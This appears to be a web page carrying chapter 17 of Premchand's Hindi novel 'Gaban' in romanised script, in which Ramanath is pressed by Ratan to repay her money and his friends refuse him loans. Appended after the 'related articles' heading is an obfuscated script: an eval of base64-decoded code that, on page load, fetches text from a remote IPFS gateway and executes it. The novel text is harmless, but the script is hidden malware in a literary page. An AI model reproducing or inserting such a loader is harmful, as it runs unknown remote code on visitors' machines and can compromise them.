ग़बन उपन्यास भाग-17

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

nau din gujar ge. rama roz pratah daftar jata aur chirag jale lautata. vah roz yahi asha lekar jata ki aj koee bada shikar phans jaega. par vah asha n poori hoti. itana hi nahian. pahale din ki tarah phir kabhi bhagy ka soory n chamaka. phir bhi usake lie kuchh kam shrey ki bat nahian thi ki nau dinoan mean hi usane sau rupaye jama kar lie the. usane ek paise ka pan bhi n khaya tha. jalapa ne kee bar kaha, chalo kahian ghoom avean, to use bhi usane batoan mean hi tala. bas, kal ka din aur tha. kal akar ratan kangan maangegi to use vah kya javab dega. daftar se akar vah isi soch mean baitha hua tha. kya vah ek mahina-bhar ke lie aur n man jayagi. itane din vah aur n bolati to shayad vah usase urrin ho jata. use vishvas tha ki maian usase chikani-chup di batean karake razi kar looanga. agar usane zid ki to maian usase kah dooanga, sarraph rupaye nahian lautata. savan ke din the, aandhera ho chala tha, rama soch raha tha, ramesh baboo ke pas chalakar do-char baziyaan khel aooan, magar badaloan ko dekh-dekh rook jata tha. itane mean ratan a pahuanchi. vah prasann n thi. usaki mudra kathor ho rahi thi. aj vah l dane ke lie ghar se taiyar hokar aee hai aur muravvat aur mulahaje ki kalpana ko bhi kosoan door rakhana chahati hai. jalapa ne kaha, ‘ tum khoob aee. aj maian bhi zara tumhare sath ghoom aooangi. inhean kam ke bojh se ajakal sir uthane ki bhi phursat nahian hai.’

ratan ne nishthurata se kaha, ‘mujhe aj to bahut jald ghar laut jana hai. babooji ko kal ki yad dilane aee hooan.’

rama usaka lataka hua muanh dekhakar hi man mean saham raha tha. kisi tarah use prasann karana chahata tha. badi tatparata se bola, ‘ji haan, khoob yad hai, abhi sarraph ki dukan se chala a raha hooan. roz subah-sham ghante-bhar haziri deta hooan, magar in chizoan mean samay bahut lagata hai. dam to karigari ke haian. maliyat dekhie to kuchh nahian. do adami lage hue haian, par shayad abhi ek hine se kam mean chiz taiyar n ho, par hogi lajavabab ji khush ho jayaga.’

par ratan zara bhi n pighali. tinakakar boli, ‘achchha! abhi mahina-bhar aur lagega. aisi karigari hai ki tin mahine mean poori n huee! ap usase kah dijiega mere rupaye vapas kar de. asha ke kangan deviyaan pahanati hoangi, mere lie zaroorat nahian!’

ramanath—‘ek mahina n lagega, maian jaldi hi banava dooanga. ek mahina to maianne aandajan kah diya tha. ab tho di hi kasar rah gee hai. kee din to nagine talash karane mean lag ge.’

ratan—‘mujhe kangan pahanana hi nahian hai, bhaee! ap mere rupaye lauta dijie, bas, sunar maianne bhi bahut dekhe haian. apaki daya se is vakt bhi tin jo de kangan mere pas hoange, par aisi dhaandhali kahian nahian dekhi. ’

dhaandhali ke shabd par rama tilamila utha, ‘dhaandhali nahian, meri himakat kahie. mujhe kya zaroorat thi ki apani jan sankat mean dalata. maianne to peshagi rupaye isalie de die ki sunar khush hokar jaldi se bana dega. ab ap rupaye maang rahi haian, sarraph rupaye nahian lauta sakata.’

ratan ne tivr najaroan se dekhakar kaha,kyoan, rupaye kyoan n lautaega? ’

ramanath—‘isalie ki jo chiz apake lie banaee hai, use vah kahaan bechata girega. sanbhav hai, sal-chhah mahine mean bik sake. sabaki pasand ek-si to nahian hoti.’

ratan ne tyoriyaan chadhakar kaha,’maian kuchh nahian janati, usane der ki hai, usaka dand bhoge. mujhe kal ya to kangan la dijie ya rupaye. apase yadi sarraph se dosti hai, ap mulahije aur muravvat ke sabab se kuchh n kah sakate hoan, to mujhe usaki dukan dikha dijie.nahian apako sharm ati ho to usaka nam bata dijie, maian pata laga looangi. vah, achchhi dillagi! dukan nilam kara dooangi. jel bhijava dooangi. in badamashoan se ladaee ke bagair kam nahian chalata.’ rama apratibh hokar zamin ki or takane laga. vah kitani manahoos gh di thi, jab usane ratan se rupaye lie! baithe-bithae vipatti mol li. jalapa ne kaha, ‘sach to hai, inhean kyoan nahian sarraph ki dukan par le jate,chiz aankhoan se dekhakar inhean santosh ho jayaga.’ ratan—‘maian ab chiz lena hi nahian chahati.’

rama ne kaanpate hue kaha,’achchhi bat hai, apako rupaye kal mil jayange.’

ratan—‘kal kis vakt?’

ramanath—‘daftar se lautate vakt leta aooanga.’

ratan—‘poore rupaye looangi. aisa n ho ki sau-do sau rupaye dekar tal de.’

ramanath—‘kal ap apane sab rupaye le jaiega.’

yah kahata hua rama maradane kamare mean aya, aur ramesh baboo ke nam ek rookka likhakar gopi se bola,ise ramesh baboo ke pas le jao. javab likhate ana. phir usane ek doosara rookka likhakar vishvambharadas ko diya ki manikadas ko dikhakar javab lae. vishvambhar ne kaha,’pani a raha hai.’

ramanath—‘to kya sari duniya bah jaegi! dau date hue jao.’

vishvambhar—‘aur vah jo ghar par n milean?’

ramanath—‘mileange. vah is vakt qahian nahian jate.’

aj jivan mean pahala avasar tha ki rama ne dostoan se rupaye udhar maange. agrah aur vinay ke jitane shabd use yad aye, unaka upayog kiya. usake lie yah bilakul naya anubhav tha. jaise patr aj usane likhe, vaise hi patr usake pas kitani hi bar a chuke the. un patroan ko padhakar usaka hriday kitana dravit ho jata tha, par vivash hokar use bahane karane p date the. kya ramesh baboo bhi bahana kar jayange- unaki amadani zyada hai, kharch kam, vah chahean to rupaye ka iantajam kar sakate haian. kya mere sath itana sulook bhi n kareange? ab tak donoan lanake lautakar nahian ae. vah dvar par tahalane laga. ratan ki motar abhi tak kh di thi. itane mean ratan bahar aee aur use tahalate dekhakar bhi kuchh boli nahian. motar par baithi aur chal di. donoan kahaan rah ge ab tak! kahian khelane lage hoange. shaitan to haian hi. jo kahian ramesh rupaye de dean, to chaandi hai. maianne do sau nahak maange, shayad itane rupaye unake pas n hoan. sasural valoan ki noch-khasot se kuchh rahane bhi to nahian pata. manik chahe to hazar-paanch sau de sakata hai, lekin dekha chahie, aj pariksha ho jayagi. aj agar in logoan ne rupaye n die, to phir bat bhi n poochhooanga. kisi ka naukar nahian hooan ki jab vah shataranj khelane ko bulayean to daudachala jaooan. rama kisi ki ahat pata, to usaka dil zor se dh dakane lagata tha. akhir vishvambhar lauta, manik ne likha tha,ajakal bahut tang hooan. maian to tumhian se maangane vala tha. rama ne purza pha dakar pheank diya. matalabi kahian ka! agar sab-ianspektar ne maanga hota to purza dekhate hi rupaye lekar dau de jate. khair, dekha jayaga. chuangi ke lie mal to ayaga hi. isaki kasar tab nikal jayagi. itane mean gopi bhi lauta. ramesh ne likha tha,maianne apane jivan mean dochar niyam bana lie haian. aur badi kathorata se unaka palan karata hooan. unamean se ek niyam yah bhi hai ki mitroan se len-den ka vyavahar n karooanga. abhi tumhean anubhav nahian hua hai, lekin kuchh dinoan mean ho jaega ki jahaan mitroan se len-den shuroo hua, vahaan manamutav hote der nahian lagati. tum mere pyare dost ho, maian tumase dushmani nahian karana chahata. isalie mujhe kshama karo. rama ne is patr ko bhi pha dakar pheank diya aur kursi par baithakar dipak ki or takataki baandhakar dekhane laga. dipak use dikhaee deta tha, isamean sandeh hai. itani hi ekagrata se vah kadachit akash ki kali, abhedh megh-rashi ki or takata! man ki ek dasha vah bhi hoti hai, jab aankhean khuli hoti haian aur kuchh nahian soojhata, kan khule rahate haian aur kuchh nahian sunaee deta.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>